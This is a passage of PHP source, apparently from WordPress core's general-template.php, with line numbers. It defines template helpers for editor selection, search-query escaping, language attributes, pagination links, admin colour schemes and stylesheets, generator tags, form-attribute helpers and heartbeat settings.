2901 * Whether the user should have a WYSIWIG editor.
2902 *
2903 * Checks that the user requires a WYSIWIG editor and that the editor is
2904 * supported in the users browser.
2905 *
2906 * @since 2.0.0
2907 *
2908 * @global bool $wp_rich_edit
2909 * @global bool $is_gecko
2910 * @global bool $is_opera
2911 * @global bool $is_safari
2912 * @global bool $is_chrome
2913 * @global bool $is_IE
2914 *
2915 * @return bool
2916 */
2917function user_can_richedit() {
2918 global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE, $is_edge;
2919
2920 if ( !isset($wp_rich_edit) ) {
2921 $wp_rich_edit = false;
2922
2923 if ( get_user_option( 'rich_editing' ) == 'true' || ! is_user_logged_in() ) { // default to 'true' for logged out users
2924 if ( $is_safari ) {
2925 $wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval( $match[1] ) >= 534 );
2926 } elseif ( $is_gecko || $is_chrome || $is_IE || $is_edge || ( $is_opera && !wp_is_mobile() ) ) {
2927 $wp_rich_edit = true;
2928 }
2929 }
2930 }
2931
2932 /**
2933 * Filters whether the user can access the rich (Visual) editor.
2934 *
2935 * @since 2.1.0
2936 *
2937 * @param bool $wp_rich_edit Whether the user can access to the rich (Visual) editor.
2938 */
2939 return apply_filters( 'user_can_richedit', $wp_rich_edit );
2940}
2941
2942/**
2943 * Find out which editor should be displayed by default.
2944 *
2945 * Works out which of the two editors to display as the current editor for a
2946 * user. The 'html' setting is for the "Text" editor tab.
2947 *
2948 * @since 2.5.0
2949 *
2950 * @return string Either 'tinymce', or 'html', or 'test'
2951 */
2952function wp_default_editor() {
2953 $r = user_can_richedit() ? 'tinymce' : 'html'; // defaults
2954 if ( wp_get_current_user() ) { // look for cookie
2955 $ed = get_user_setting('editor', 'tinymce');
2956 $r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r;
2957 }
2958
2959 /**
2960 * Filters which editor should be displayed by default.
2961 *
2962 * @since 2.5.0
2963 *
2964 * @param array $r An array of editors. Accepts 'tinymce', 'html', 'test'.
2965 */
2966 return apply_filters( 'wp_default_editor', $r );
2967}
2968
2969/**
2970 * Renders an editor.
2971 *
2972 * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags.
2973 * _WP_Editors should not be used directly. See https://core.trac.wordpress.org/ticket/17144.
2974 *
2975 * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason
2976 * running wp_editor() inside of a meta box is not a good idea unless only Quicktags is used.
2977 * On the post edit screen several actions can be used to include additional editors
2978 * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'.
2979 * See https://core.trac.wordpress.org/ticket/19173 for more information.
2980 *
2981 * @see _WP_Editors::editor()
2982 * @since 3.3.0
2983 *
2984 * @param string $content Initial content for the editor.
2985 * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE. Can only be /[a-z]+/.
2986 * @param array $settings See _WP_Editors::editor().
2987 */
2988function wp_editor( $content, $editor_id, $settings = array() ) {
2989 if ( ! class_exists( '_WP_Editors', false ) )
2990 require( ABSPATH . WPINC . '/class-wp-editor.php' );
2991
2992 _WP_Editors::editor($content, $editor_id, $settings);
2993}
2994
2995/**
2996 * Retrieves the contents of the search WordPress query variable.
2997 *
2998 * The search query string is passed through esc_attr() to ensure that it is safe
2999 * for placing in an html attribute.
3000 *
3001 * @since 2.3.0
3002 *
3003 * @param bool $escaped Whether the result is escaped. Default true.
3004 * Only use when you are later escaping it. Do not use unescaped.
3005 * @return string
3006 */
3007function get_search_query( $escaped = true ) {
3008 /**
3009 * Filters the contents of the search query variable.
3010 *
3011 * @since 2.3.0
3012 *
3013 * @param mixed $search Contents of the search query variable.
3014 */
3015 $query = apply_filters( 'get_search_query', get_query_var( 's' ) );
3016
3017 if ( $escaped )
3018 $query = esc_attr( $query );
3019 return $query;
3020}
3021
3022/**
3023 * Displays the contents of the search query variable.
3024 *
3025 * The search query string is passed through esc_attr() to ensure that it is safe
3026 * for placing in an html attribute.
3027 *
3028 * @since 2.1.0
3029 */
3030function the_search_query() {
3031 /**
3032 * Filters the contents of the search query variable for display.
3033 *
3034 * @since 2.3.0
3035 *
3036 * @param mixed $search Contents of the search query variable.
3037 */
3038 echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) );
3039}
3040
3041/**
3042 * Gets the language attributes for the html tag.
3043 *
3044 * Builds up a set of html attributes containing the text direction and language
3045 * information for the page.
3046 *
3047 * @since 4.3.0
3048 *
3049 * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
3050 */
3051function get_language_attributes( $doctype = 'html' ) {
3052 $attributes = array();
3053
3054 if ( function_exists( 'is_rtl' ) && is_rtl() )
3055 $attributes[] = 'dir="rtl"';
3056
3057 if ( $lang = get_bloginfo('language') ) {
3058 if ( get_option('html_type') == 'text/html' || $doctype == 'html' )
3059 $attributes[] = "lang=\"$lang\"";
3060
3061 if ( get_option('html_type') != 'text/html' || $doctype == 'xhtml' )
3062 $attributes[] = "xml:lang=\"$lang\"";
3063 }
3064
3065 $output = implode(' ', $attributes);
3066
3067 /**
3068 * Filters the language attributes for display in the html tag.
3069 *
3070 * @since 2.5.0
3071 * @since 4.3.0 Added the `$doctype` parameter.
3072 *
3073 * @param string $output A space-separated list of language attributes.
3074 * @param string $doctype The type of html document (xhtml|html).
3075 */
3076 return apply_filters( 'language_attributes', $output, $doctype );
3077}
3078
3079/**
3080 * Displays the language attributes for the html tag.
3081 *
3082 * Builds up a set of html attributes containing the text direction and language
3083 * information for the page.
3084 *
3085 * @since 2.1.0
3086 * @since 4.3.0 Converted into a wrapper for get_language_attributes().
3087 *
3088 * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
3089 */
3090function language_attributes( $doctype = 'html' ) {
3091 echo get_language_attributes( $doctype );
3092}
3093
3094/**
3095 * Retrieve paginated link for archive post pages.
3096 *
3097 * Technically, the function can be used to create paginated link list for any
3098 * area. The 'base' argument is used to reference the url, which will be used to
3099 * create the paginated links. The 'format' argument is then used for replacing
3100 * the page number. It is however, most likely and by default, to be used on the
3101 * archive post pages.
3102 *
3103 * The 'type' argument controls format of the returned value. The default is
3104 * 'plain', which is just a string with the links separated by a newline
3105 * character. The other possible values are either 'array' or 'list'. The
3106 * 'array' value will return an array of the paginated link list to offer full
3107 * control of display. The 'list' value will place all of the paginated links in
3108 * an unordered HTML list.
3109 *
3110 * The 'total' argument is the total amount of pages and is an integer. The
3111 * 'current' argument is the current page number and is also an integer.
3112 *
3113 * An example of the 'base' argument is "http://example.com/all_posts.php%_%"
3114 * and the '%_%' is required. The '%_%' will be replaced by the contents of in
3115 * the 'format' argument. An example for the 'format' argument is "?page=%#%"
3116 * and the '%#%' is also required. The '%#%' will be replaced with the page
3117 * number.
3118 *
3119 * You can include the previous and next links in the list by setting the
3120 * 'prev_next' argument to true, which it is by default. You can set the
3121 * previous text, by using the 'prev_text' argument. You can set the next text
3122 * by setting the 'next_text' argument.
3123 *
3124 * If the 'show_all' argument is set to true, then it will show all of the pages
3125 * instead of a short list of the pages near the current page. By default, the
3126 * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size'
3127 * arguments. The 'end_size' argument is how many numbers on either the start
3128 * and the end list edges, by default is 1. The 'mid_size' argument is how many
3129 * numbers to either side of current page, but not including current page.
3130 *
3131 * It is possible to add query vars to the link by using the 'add_args' argument
3132 * and see add_query_arg() for more information.
3133 *
3134 * The 'before_page_number' and 'after_page_number' arguments allow users to
3135 * augment the links themselves. Typically this might be to add context to the
3136 * numbered links so that screen reader users understand what the links are for.
3137 * The text strings are added before and after the page number - within the
3138 * anchor tag.
3139 *
3140 * @since 2.1.0
3141 *
3142 * @global WP_Query $wp_query
3143 * @global WP_Rewrite $wp_rewrite
3144 *
3145 * @param string|array $args {
3146 * Optional. Array or string of arguments for generating paginated links for archives.
3147 *
3148 * @type string $base Base of the paginated url. Default empty.
3149 * @type string $format Format for the pagination structure. Default empty.
3150 * @type int $total The total amount of pages. Default is the value WP_Query's
3151 * `max_num_pages` or 1.
3152 * @type int $current The current page number. Default is 'paged' query var or 1.
3153 * @type bool $show_all Whether to show all pages. Default false.
3154 * @type int $end_size How many numbers on either the start and the end list edges.
3155 * Default 1.
3156 * @type int $mid_size How many numbers to either side of the current pages. Default 2.
3157 * @type bool $prev_next Whether to include the previous and next links in the list. Default true.
3158 * @type bool $prev_text The previous page text. Default '« Previous'.
3159 * @type bool $next_text The next page text. Default '« Previous'.
3160 * @type string $type Controls format of the returned value. Possible values are 'plain',
3161 * 'array' and 'list'. Default is 'plain'.
3162 * @type array $add_args An array of query args to add. Default false.
3163 * @type string $add_fragment A string to append to each link. Default empty.
3164 * @type string $before_page_number A string to appear before the page number. Default empty.
3165 * @type string $after_page_number A string to append after the page number. Default empty.
3166 * }
3167 * @return array|string|void String of page links or array of page links.
3168 */
3169function paginate_links( $args = '' ) {
3170 global $wp_query, $wp_rewrite;
3171
3172 // Setting up default values based on the current URL.
3173 $pagenum_link = html_entity_decode( get_pagenum_link() );
3174 $url_parts = explode( '?', $pagenum_link );
3175
3176 // Get max pages and current page out of the current query, if available.
3177 $total = isset( $wp_query->max_num_pages ) ? $wp_query->max_num_pages : 1;
3178 $current = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1;
3179
3180 // Append the format placeholder to the base URL.
3181 $pagenum_link = trailingslashit( $url_parts[0] ) . '%_%';
3182
3183 // URL base depends on permalink settings.
3184 $format = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
3185 $format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';
3186
3187 $defaults = array(
3188 'base' => $pagenum_link, // http://example.com/all_posts.php%_% : %_% is replaced by format (below)
3189 'format' => $format, // ?page=%#% : %#% is replaced by the page number
3190 'total' => $total,
3191 'current' => $current,
3192 'show_all' => false,
3193 'prev_next' => true,
3194 'prev_text' => __('« Previous'),
3195 'next_text' => __('Next »'),
3196 'end_size' => 1,
3197 'mid_size' => 2,
3198 'type' => 'plain',
3199 'add_args' => array(), // array of query args to add
3200 'add_fragment' => '',
3201 'before_page_number' => '',
3202 'after_page_number' => ''
3203 );
3204
3205 $args = wp_parse_args( $args, $defaults );
3206
3207 if ( ! is_array( $args['add_args'] ) ) {
3208 $args['add_args'] = array();
3209 }
3210
3211 // Merge additional query vars found in the original URL into 'add_args' array.
3212 if ( isset( $url_parts[1] ) ) {
3213 // Find the format argument.
3214 $format = explode( '?', str_replace( '%_%', $args['format'], $args['base'] ) );
3215 $format_query = isset( $format[1] ) ? $format[1] : '';
3216 wp_parse_str( $format_query, $format_args );
3217
3218 // Find the query args of the requested URL.
3219 wp_parse_str( $url_parts[1], $url_query_args );
3220
3221 // Remove the format argument from the array of query arguments, to avoid overwriting custom format.
3222 foreach ( $format_args as $format_arg => $format_arg_value ) {
3223 unset( $url_query_args[ $format_arg ] );
3224 }
3225
3226 $args['add_args'] = array_merge( $args['add_args'], urlencode_deep( $url_query_args ) );
3227 }
3228
3229 // Who knows what else people pass in $args
3230 $total = (int) $args['total'];
3231 if ( $total < 2 ) {
3232 return;
3233 }
3234 $current = (int) $args['current'];
3235 $end_size = (int) $args['end_size']; // Out of bounds? Make it the default.
3236 if ( $end_size < 1 ) {
3237 $end_size = 1;
3238 }
3239 $mid_size = (int) $args['mid_size'];
3240 if ( $mid_size < 0 ) {
3241 $mid_size = 2;
3242 }
3243 $add_args = $args['add_args'];
3244 $r = '';
3245 $page_links = array();
3246 $dots = false;
3247
3248 if ( $args['prev_next'] && $current && 1 < $current ) :
3249 $link = str_replace( '%_%', 2 == $current ? '' : $args['format'], $args['base'] );
3250 $link = str_replace( '%#%', $current - 1, $link );
3251 if ( $add_args )
3252 $link = add_query_arg( $add_args, $link );
3253 $link .= $args['add_fragment'];
3254
3255 /**
3256 * Filters the paginated links for the given archive pages.
3257 *
3258 * @since 3.0.0
3259 *
3260 * @param string $link The paginated link URL.
3261 */
3262 $page_links[] = '<a class="prev page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['prev_text'] . '</a>';
3263 endif;
3264 for ( $n = 1; $n <= $total; $n++ ) :
3265 if ( $n == $current ) :
3266 $page_links[] = "<span class='page-numbers current'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</span>";
3267 $dots = true;
3268 else :
3269 if ( $args['show_all'] || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :
3270 $link = str_replace( '%_%', 1 == $n ? '' : $args['format'], $args['base'] );
3271 $link = str_replace( '%#%', $n, $link );
3272 if ( $add_args )
3273 $link = add_query_arg( $add_args, $link );
3274 $link .= $args['add_fragment'];
3275
3276 /** This filter is documented in wp-includes/general-template.php */
3277 $page_links[] = "<a class='page-numbers' href='" . esc_url( apply_filters( 'paginate_links', $link ) ) . "'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</a>";
3278 $dots = true;
3279 elseif ( $dots && ! $args['show_all'] ) :
3280 $page_links[] = '<span class="page-numbers dots">' . __( '…' ) . '</span>';
3281 $dots = false;
3282 endif;
3283 endif;
3284 endfor;
3285 if ( $args['prev_next'] && $current && ( $current < $total || -1 == $total ) ) :
3286 $link = str_replace( '%_%', $args['format'], $args['base'] );
3287 $link = str_replace( '%#%', $current + 1, $link );
3288 if ( $add_args )
3289 $link = add_query_arg( $add_args, $link );
3290 $link .= $args['add_fragment'];
3291
3292 /** This filter is documented in wp-includes/general-template.php */
3293 $page_links[] = '<a class="next page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['next_text'] . '</a>';
3294 endif;
3295 switch ( $args['type'] ) {
3296 case 'array' :
3297 return $page_links;
3298
3299 case 'list' :
3300 $r .= "<ul class='page-numbers'>\n\t<li>";
3301 $r .= join("</li>\n\t<li>", $page_links);
3302 $r .= "</li>\n</ul>\n";
3303 break;
3304
3305 default :
3306 $r = join("\n", $page_links);
3307 break;
3308 }
3309 return $r;
3310}
3311
3312/**
3313 * Registers an admin colour scheme css file.
3314 *
3315 * Allows a plugin to register a new admin colour scheme. For example:
3316 *
3317 * wp_admin_css_color( 'classic', __( 'Classic' ), admin_url( "css/colors-classic.css" ), array(
3318 * '#07273E', '#14568A', '#D54E21', '#2683AE'
3319 * ) );
3320 *
3321 * @since 2.5.0
3322 *
3323 * @global array $_wp_admin_css_colors
3324 *
3325 * @param string $key The unique key for this theme.
3326 * @param string $name The name of the theme.
3327 * @param string $url The URL of the CSS file containing the color scheme.
3328 * @param array $colors Optional. An array of CSS color definition strings which are used
3329 * to give the user a feel for the theme.
3330 * @param array $icons {
3331 * Optional. CSS color definitions used to color any SVG icons.
3332 *
3333 * @type string $base SVG icon base color.
3334 * @type string $focus SVG icon color on focus.
3335 * @type string $current SVG icon color of current admin menu link.
3336 * }
3337 */
3338function wp_admin_css_color( $key, $name, $url, $colors = array(), $icons = array() ) {
3339 global $_wp_admin_css_colors;
3340
3341 if ( !isset($_wp_admin_css_colors) )
3342 $_wp_admin_css_colors = array();
3343
3344 $_wp_admin_css_colors[$key] = (object) array(
3345 'name' => $name,
3346 'url' => $url,
3347 'colors' => $colors,
3348 'icon_colors' => $icons,
3349 );
3350}
3351
3352/**
3353 * Registers the default Admin color schemes
3354 *
3355 * @since 3.0.0
3356 *
3357 * @global string $wp_version
3358 */
3359function register_admin_color_schemes() {
3360 $suffix = is_rtl() ? '-rtl' : '';
3361 $suffix .= SCRIPT_DEBUG ? '' : '.min';
3362
3363 wp_admin_css_color( 'fresh', _x( 'Default', 'admin color scheme' ),
3364 false,
3365 array( '#222', '#333', '#0073aa', '#00a0d2' ),
3366 array( 'base' => '#82878c', 'focus' => '#00a0d2', 'current' => '#fff' )
3367 );
3368
3369 // Other color schemes are not available when running out of src
3370 if ( false !== strpos( $GLOBALS['wp_version'], '-src' ) )
3371 return;
3372
3373 wp_admin_css_color( 'light', _x( 'Light', 'admin color scheme' ),
3374 admin_url( "css/colors/light/colors$suffix.css" ),
3375 array( '#e5e5e5', '#999', '#d64e07', '#04a4cc' ),
3376 array( 'base' => '#999', 'focus' => '#ccc', 'current' => '#ccc' )
3377 );
3378
3379 wp_admin_css_color( 'blue', _x( 'Blue', 'admin color scheme' ),
3380 admin_url( "css/colors/blue/colors$suffix.css" ),
3381 array( '#096484', '#4796b3', '#52accc', '#74B6CE' ),
3382 array( 'base' => '#e5f8ff', 'focus' => '#fff', 'current' => '#fff' )
3383 );
3384
3385 wp_admin_css_color( 'midnight', _x( 'Midnight', 'admin color scheme' ),
3386 admin_url( "css/colors/midnight/colors$suffix.css" ),
3387 array( '#25282b', '#363b3f', '#69a8bb', '#e14d43' ),
3388 array( 'base' => '#f1f2f3', 'focus' => '#fff', 'current' => '#fff' )
3389 );
3390
3391 wp_admin_css_color( 'sunrise', _x( 'Sunrise', 'admin color scheme' ),
3392 admin_url( "css/colors/sunrise/colors$suffix.css" ),
3393 array( '#b43c38', '#cf4944', '#dd823b', '#ccaf0b' ),
3394 array( 'base' => '#f3f1f1', 'focus' => '#fff', 'current' => '#fff' )
3395 );
3396
3397 wp_admin_css_color( 'ectoplasm', _x( 'Ectoplasm', 'admin color scheme' ),
3398 admin_url( "css/colors/ectoplasm/colors$suffix.css" ),
3399 array( '#413256', '#523f6d', '#a3b745', '#d46f15' ),
3400 array( 'base' => '#ece6f6', 'focus' => '#fff', 'current' => '#fff' )
3401 );
3402
3403 wp_admin_css_color( 'ocean', _x( 'Ocean', 'admin color scheme' ),
3404 admin_url( "css/colors/ocean/colors$suffix.css" ),
3405 array( '#627c83', '#738e96', '#9ebaa0', '#aa9d88' ),
3406 array( 'base' => '#f2fcff', 'focus' => '#fff', 'current' => '#fff' )
3407 );
3408
3409 wp_admin_css_color( 'coffee', _x( 'Coffee', 'admin color scheme' ),
3410 admin_url( "css/colors/coffee/colors$suffix.css" ),
3411 array( '#46403c', '#59524c', '#c7a589', '#9ea476' ),
3412 array( 'base' => '#f3f2f1', 'focus' => '#fff', 'current' => '#fff' )
3413 );
3414
3415}
3416
3417/**
3418 * Displays the URL of a WordPress admin CSS file.
3419 *
3420 * @see WP_Styles::_css_href and its {@see 'style_loader_src'} filter.
3421 *
3422 * @since 2.3.0
3423 *
3424 * @param string $file file relative to wp-admin/ without its ".css" extension.
3425 * @return string
3426 */
3427function wp_admin_css_uri( $file = 'wp-admin' ) {
3428 if ( defined('WP_INSTALLING') ) {
3429 $_file = "./$file.css";
3430 } else {
3431 $_file = admin_url("$file.css");
3432 }
3433 $_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file );
3434
3435 /**
3436 * Filters the URI of a WordPress admin CSS file.
3437 *
3438 * @since 2.3.0
3439 *
3440 * @param string $_file Relative path to the file with query arguments attached.
3441 * @param string $file Relative path to the file, minus its ".css" extension.
3442 */
3443 return apply_filters( 'wp_admin_css_uri', $_file, $file );
3444}
3445
3446/**
3447 * Enqueues or directly prints a stylesheet link to the specified CSS file.
3448 *
3449 * "Intelligently" decides to enqueue or to print the CSS file. If the
3450 * {@see 'wp_print_styles'} action has *not* yet been called, the CSS file will be
3451 * enqueued. If the {@see 'wp_print_styles'} action has been called, the CSS link will
3452 * be printed. Printing may be forced by passing true as the $force_echo
3453 * (second) parameter.
3454 *
3455 * For backward compatibility with WordPress 2.3 calling method: If the $file
3456 * (first) parameter does not correspond to a registered CSS file, we assume
3457 * $file is a file relative to wp-admin/ without its ".css" extension. A
3458 * stylesheet link to that generated URL is printed.
3459 *
3460 * @since 2.3.0
3461 *
3462 * @param string $file Optional. Style handle name or file name (without ".css" extension) relative
3463 * to wp-admin/. Defaults to 'wp-admin'.
3464 * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued.
3465 */
3466function wp_admin_css( $file = 'wp-admin', $force_echo = false ) {
3467 // For backward compatibility
3468 $handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file;
3469
3470 if ( wp_styles()->query( $handle ) ) {
3471 if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue. Print this one immediately
3472 wp_print_styles( $handle );
3473 else // Add to style queue
3474 wp_enqueue_style( $handle );
3475 return;
3476 }
3477
3478 /**
3479 * Filters the stylesheet link to the specified CSS file.
3480 *
3481 * If the site is set to display right-to-left, the RTL stylesheet link
3482 * will be used instead.
3483 *
3484 * @since 2.3.0
3485 *
3486 * @param string $file Style handle name or filename (without ".css" extension)
3487 * relative to wp-admin/. Defaults to 'wp-admin'.
3488 */
3489 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\n", $file );
3490
3491 if ( function_exists( 'is_rtl' ) && is_rtl() ) {
3492 /** This filter is documented in wp-includes/general-template.php */
3493 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" );
3494 }
3495}
3496
3497/**
3498 * Enqueues the default ThickBox js and css.
3499 *
3500 * If any of the settings need to be changed, this can be done with another js
3501 * file similar to media-upload.js. That file should
3502 * require array('thickbox') to ensure it is loaded after.
3503 *
3504 * @since 2.5.0
3505 */
3506function add_thickbox() {
3507 wp_enqueue_script( 'thickbox' );
3508 wp_enqueue_style( 'thickbox' );
3509
3510 if ( is_network_admin() )
3511 add_action( 'admin_head', '_thickbox_path_admin_subfolder' );
3512}
3513
3514/**
3515 * Displays the XHTML generator that is generated on the wp_head hook.
3516 *
3517 * See {@see 'wp_head'}.
3518 *
3519 * @since 2.5.0
3520 */
3521function wp_generator() {
3522 /**
3523 * Filters the output of the XHTML generator tag.
3524 *
3525 * @since 2.5.0
3526 *
3527 * @param string $generator_type The XHTML generator.
3528 */
3529 the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );
3530}
3531
3532/**
3533 * Display the generator XML or Comment for RSS, ATOM, etc.
3534 *
3535 * Returns the correct generator type for the requested output format. Allows
3536 * for a plugin to filter generators overall the {@see 'the_generator'} filter.
3537 *
3538 * @since 2.5.0
3539 *
3540 * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export).
3541 */
3542function the_generator( $type ) {
3543 /**
3544 * Filters the output of the XHTML generator tag for display.
3545 *
3546 * @since 2.5.0
3547 *
3548 * @param string $generator_type The generator output.
3549 * @param string $type The type of generator to output. Accepts 'html',
3550 * 'xhtml', 'atom', 'rss2', 'rdf', 'comment', 'export'.
3551 */
3552 echo apply_filters( 'the_generator', get_the_generator($type), $type ) . "\n";
3553}
3554
3555/**
3556 * Creates the generator XML or Comment for RSS, ATOM, etc.
3557 *
3558 * Returns the correct generator type for the requested output format. Allows
3559 * for a plugin to filter generators on an individual basis using the
3560 * {@see 'get_the_generator_$type'} filter.
3561 *
3562 * @since 2.5.0
3563 *
3564 * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export).
3565 * @return string|void The HTML content for the generator.
3566 */
3567function get_the_generator( $type = '' ) {
3568 if ( empty( $type ) ) {
3569
3570 $current_filter = current_filter();
3571 if ( empty( $current_filter ) )
3572 return;
3573
3574 switch ( $current_filter ) {
3575 case 'rss2_head' :
3576 case 'commentsrss2_head' :
3577 $type = 'rss2';
3578 break;
3579 case 'rss_head' :
3580 case 'opml_head' :
3581 $type = 'comment';
3582 break;
3583 case 'rdf_header' :
3584 $type = 'rdf';
3585 break;
3586 case 'atom_head' :
3587 case 'comments_atom_head' :
3588 case 'app_head' :
3589 $type = 'atom';
3590 break;
3591 }
3592 }
3593
3594 switch ( $type ) {
3595 case 'html':
3596 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '">';
3597 break;
3598 case 'xhtml':
3599 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '" />';
3600 break;
3601 case 'atom':
3602 $gen = '<generator uri="https://wordpress.org/" version="' . get_bloginfo_rss( 'version' ) . '">WordPress</generator>';
3603 break;
3604 case 'rss2':
3605 $gen = '<generator>https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '</generator>';
3606 break;
3607 case 'rdf':
3608 $gen = '<admin:generatorAgent rdf:resource="https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '" />';
3609 break;
3610 case 'comment':
3611 $gen = '<!-- generator="WordPress/' . get_bloginfo( 'version' ) . '" -->';
3612 break;
3613 case 'export':
3614 $gen = '<!-- generator="WordPress/' . get_bloginfo_rss('version') . '" created="'. date('Y-m-d H:i') . '" -->';
3615 break;
3616 }
3617
3618 /**
3619 * Filters the HTML for the retrieved generator type.
3620 *
3621 * The dynamic portion of the hook name, `$type`, refers to the generator type.
3622 *
3623 * @since 2.5.0
3624 *
3625 * @param string $gen The HTML markup output to wp_head().
3626 * @param string $type The type of generator. Accepts 'html', 'xhtml', 'atom',
3627 * 'rss2', 'rdf', 'comment', 'export'.
3628 */
3629 return apply_filters( "get_the_generator_{$type}", $gen, $type );
3630}
3631
3632/**
3633 * Outputs the html checked attribute.
3634 *
3635 * Compares the first two arguments and if identical marks as checked
3636 *
3637 * @since 1.0.0
3638 *
3639 * @param mixed $checked One of the values to compare
3640 * @param mixed $current (true) The other value to compare if not just true
3641 * @param bool $echo Whether to echo or just return the string
3642 * @return string html attribute or empty string
3643 */
3644function checked( $checked, $current = true, $echo = true ) {
3645 return __checked_selected_helper( $checked, $current, $echo, 'checked' );
3646}
3647
3648/**
3649 * Outputs the html selected attribute.
3650 *
3651 * Compares the first two arguments and if identical marks as selected
3652 *
3653 * @since 1.0.0
3654 *
3655 * @param mixed $selected One of the values to compare
3656 * @param mixed $current (true) The other value to compare if not just true
3657 * @param bool $echo Whether to echo or just return the string
3658 * @return string html attribute or empty string
3659 */
3660function selected( $selected, $current = true, $echo = true ) {
3661 return __checked_selected_helper( $selected, $current, $echo, 'selected' );
3662}
3663
3664/**
3665 * Outputs the html disabled attribute.
3666 *
3667 * Compares the first two arguments and if identical marks as disabled
3668 *
3669 * @since 3.0.0
3670 *
3671 * @param mixed $disabled One of the values to compare
3672 * @param mixed $current (true) The other value to compare if not just true
3673 * @param bool $echo Whether to echo or just return the string
3674 * @return string html attribute or empty string
3675 */
3676function disabled( $disabled, $current = true, $echo = true ) {
3677 return __checked_selected_helper( $disabled, $current, $echo, 'disabled' );
3678}
3679
3680/**
3681 * Private helper function for checked, selected, and disabled.
3682 *
3683 * Compares the first two arguments and if identical marks as $type
3684 *
3685 * @since 2.8.0
3686 * @access private
3687 *
3688 * @param mixed $helper One of the values to compare
3689 * @param mixed $current (true) The other value to compare if not just true
3690 * @param bool $echo Whether to echo or just return the string
3691 * @param string $type The type of checked|selected|disabled we are doing
3692 * @return string html attribute or empty string
3693 */
3694function __checked_selected_helper( $helper, $current, $echo, $type ) {
3695 if ( (string) $helper === (string) $current )
3696 $result = " $type='$type'";
3697 else
3698 $result = '';
3699
3700 if ( $echo )
3701 echo $result;
3702
3703 return $result;
3704}
3705
3706/**
3707 * Default settings for heartbeat
3708 *
3709 * Outputs the nonce used in the heartbeat XHR
3710 *
3711 * @since 3.6.0
3712 *
3713 * @param array $settings
3714 * @return array $settings
3715 */
3716function wp_heartbeat_settings( $settings ) {
3717 if ( ! is_admin() )
3718 $settings['ajaxurl'] = admin_url( 'admin-ajax.php', 'relative' );
3719
3720 if ( is_user_logged_in() )
3721 $settings['nonce'] = wp_create_nonce( 'heartbeat-nonce' );
3722
3723 return $settings;
3724}